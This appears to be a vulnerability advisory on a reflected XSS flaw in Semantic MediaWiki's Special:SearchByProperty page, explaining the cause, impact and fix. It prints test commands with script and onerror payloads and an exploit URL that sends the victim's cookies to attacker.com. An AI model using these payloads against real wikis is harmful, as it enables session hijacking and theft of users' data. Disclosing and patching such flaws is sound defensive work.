Listen to this Post
The vulnerability arises from improper neutralization of user-supplied input in the `Special:SearchByProperty` special page of Semantic MediaWiki. When a user submits a search request, the `property` and `value` parameters are processed and reflected back into the HTML output without adequate output-context encoding. Specifically, the `value` parameter is inserted into two distinct rendering paths: the validation error messages and the result heading. Because these paths do not apply context-aware escaping (such as HTML entity encoding), an attacker can inject arbitrary JavaScript code that executes in the victim’s browser. The attack is reflected, meaning the malicious payload is not stored on the server but is delivered via a crafted URL. An attacker could send a link containing a payload in the `value` parameter to a victim; when the victim clicks the link, the script executes with the origin of the wiki, allowing theft of session cookies, CSRF token extraction, or performing actions on behalf of the user. The root cause is a failure to treat validation output as attacker-influenced data. Even though the error text originates from a validation routine, the input that triggered the error is still controlled by the user. This oversight leads to a classic CWE-79 scenario. The vulnerability was addressed by ensuring that all reflected values in `Special:SearchByProperty` are properly escaped before being inserted into the DOM.
DailyCVE Form:
Platform: Semantic MediaWiki
Version: <= 7.1.0
Vulnerability: Reflected XSS
Severity: Moderate
date: Jul 17, 2026
Prediction: Jul 17, 2026
What Undercode Say:
Analytics:
curl -s "http://target-wiki/index.php/Special:SearchByProperty?property=Test&value=<script>alert(1)</script>" | grep -o '<script>alert(1)</script>'
nmap -p 80,443 --script http-xssed target-wiki
python3 -c "import requests; r=requests.get('http://target-wiki/index.php/Special:SearchByProperty', params={'property':'Test','value':'<img src=x onerror=alert(1)>'}); print(r.text)"
grep -r "SearchByProperty" /var/www/mediawiki/extensions/SemanticMediaWiki/
How Exploit: (Educational Purposes!)
http://target-wiki/index.php/Special:SearchByProperty?property=Has_property&value=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Protection: from this CVE
Upgrade to Semantic MediaWiki 7.2.0 or later. Ensure that all output in `Special:SearchByProperty` is escaped using `htmlspecialchars` or equivalent context-aware escaping functions.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive data (including cookies and CSRF tokens), and unauthorized actions performed on behalf of the user.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
